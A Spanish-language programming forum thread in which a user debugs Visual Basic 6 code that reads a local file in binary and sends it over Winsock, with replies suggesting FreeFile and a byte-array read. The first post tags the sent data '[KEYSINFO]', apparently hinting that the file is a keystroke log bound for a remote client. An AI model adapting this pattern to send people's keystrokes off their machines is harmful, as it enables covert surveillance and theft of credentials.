 Autor
|
Tema: [SOLUCIONADO] Problema al abrir archivo para enviar (Leído 11,467 veces)
|
ŞCØRPIØN-X3
 Desconectado
Mensajes: 119
|
wenas, modifique un code que lo que hace es abrir un archivo en binario y lo va enviando por parte usando winsock para luego ser mostrado en el otro formulario, este es el code: Dim buf As String * 1024
Dim Todox As String
Open "C:\Archivo.txt" For Binary As #2
Do While Not EOF(2)
DoEvents
Get #2, , buf
Todox = "[KEYSINFO]" & Todox & buf
Loop
Close
Form1.Winsock1.SendData Todox el problema que tengo es que me tira error en la linea: lo mas raro es que si lo ejecuto en un proyecto limpio funciona pero dentro de mi proyecto no funciona es como que entra en conflicto con otra funcion y nose que podra ser..    El error que me da es: nombre o numero de archivo incorrectogracias por su tiempo, espero sus respuestas 
|
|
|
|
« Última modificación: 12 Mayo 2011, 23:34 pm por ŞCØRPIØN-X3 »
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
. usa freefile Dim ff as integer ff= freefile if dir ( <ArchivoX> , vbarchive ) <> "" then open <ArchivoX> <criterios> as ff ... EOF(ff) ... close ff end if
|
|
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
hola, muchas gracias por el code pero usando ese code tambien me tira error pero si lo pongo en un proyecto limpio si funciona la verdad que no entiendo que pasa u.u nose tampoco que parte del code poner porque nose donde esta el error ¬¬ porfavor si alguien puede darme aunque sea una posible falla me avisa please  asi quedo el code usando freefile: Dim bufx As String * 1024 Dim Todox As String Dim ff As Integer ff = FreeFile Open "C:\Archivo.txt" For Binary As ff Do While Not EOF(ff) DoEvents Get ff, , bufx Todox = Todox & bufx Loop Close ff Form1.Winsock1.SendData Todox
|
|
|
|
« Última modificación: 23 Abril 2011, 22:04 pm por raul338 »
|
En línea
|
|
|
|
Edu
Desconectado
Mensajes: 1.082
Ex XXX-ZERO-XXX
|
Creo q la idea en si esta mal pensada o no la entendi
|
|
|
|
|
En línea
|
|
|
|
|
|
Edu
Desconectado
Mensajes: 1.082
Ex XXX-ZERO-XXX
|
Pero digo q por lo q leo enviara todo el contenido del archivo de una :S
Tendrias q poner el senddata dentro del bucle y sacar eso de todox y solo ir enviando buf.
Talvez me equivoco no se, pero de ultima ese no es tu problema, ni idea porq te dice ese error q nombras..
|
|
|
|
|
En línea
|
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
no esta bien el code pero lo que pasa es que en micode entra en conflicto con algo, porque si lo pongo en un proyecto limpio el code anda re bien y manda bien los datos pero cuando lo agrego a mi code tira ese error pero creo que ya se porque es mañana voy a hacer unas pruebas aver que pasa xD y posteo como me fue  gracias por responder a los dos |
|
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
. Intenta así al do while hay que meterle una expresion no obvia cosas con not xS Do While EOF(ff) = false
pero veo que hacer algo muy lineal que no tiene caso asi que intenta mejor asi: const sfile as string = "C:\Archivo.txt" Dim bBuff() As byte ' // usamos byte por que con string nos consumira el doble de memoria. Dim ff As Integer if (dir(sfile,vbarchive)<>"") then ff = FreeFile Open (sfile) For Binary As ff if ( LOF(ff) > 0 ) then redim bBuff( 0 to (LOF(ff)-1) ) ' // con una string seria sBuff=space(LOF(ff)) sin el "-1" Get ff, , bBuff end if Close ff Form1.Winsock1.SendData bBuff end if
P.D.: no tengo instalado el vb asi que espero funcione lo que te he puesto. Dulces Lunas!¡. - |
|
|
|
« Última modificación: 23 Abril 2011, 10:45 am por BlackZeroX▓▓▒▒░░ »
|
En línea
|
The Dark Shadow is my passion.
|
|
|
ŞCØRPIØN-X3
Desconectado
Mensajes: 119
|
gracias por la respuesta, estoy probando pero le falta el loop para que se repita la operación y falta ponerle un limite a bBuf
|
|
|
|
|
En línea
|
|
|
|
raul338
Desconectado
Mensajes: 2.633
La sonrisa es la mejor forma de afrontar las cosas
|
lei el temas muy por arriba. Capaz que ya abris el archivo antes y no lo cerras a tiempo, entonces lo terminas abriendo 2 veces. Pone puntos de interrupcion y depura tu programa
|
|
|
|
|
En línea
|
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Problema al enviar archivo
Programación Visual Basic
|
Meg
|
0
|
1,262
|
19 Marzo 2007, 20:36 pm
por Meg
|
|
|
|
Problema enviar archivo
« 1 2 ... 5 6 »
Programación Visual Basic
|
Jareth
|
53
|
11,409
|
8 Abril 2007, 23:00 pm
por DrakoX
|
|
|
|
problema con enviar archivo y progressbar
Programación Visual Basic
|
vivachapas
|
4
|
2,243
|
2 Agosto 2008, 16:18 pm
por vivachapas
|
|
|
|
problema al enviar archivo al navegador ?
Programación Visual Basic
|
rembolso
|
4
|
3,515
|
22 Agosto 2009, 12:42 pm
por SRVAM
|
|
|
|
[Batch] Problema para enviar un find a un archivo y obtenerlo como variable
Scripting
|
Shike1000
|
2
|
4,188
|
17 Febrero 2020, 18:50 pm
por Shike1000
|
 |
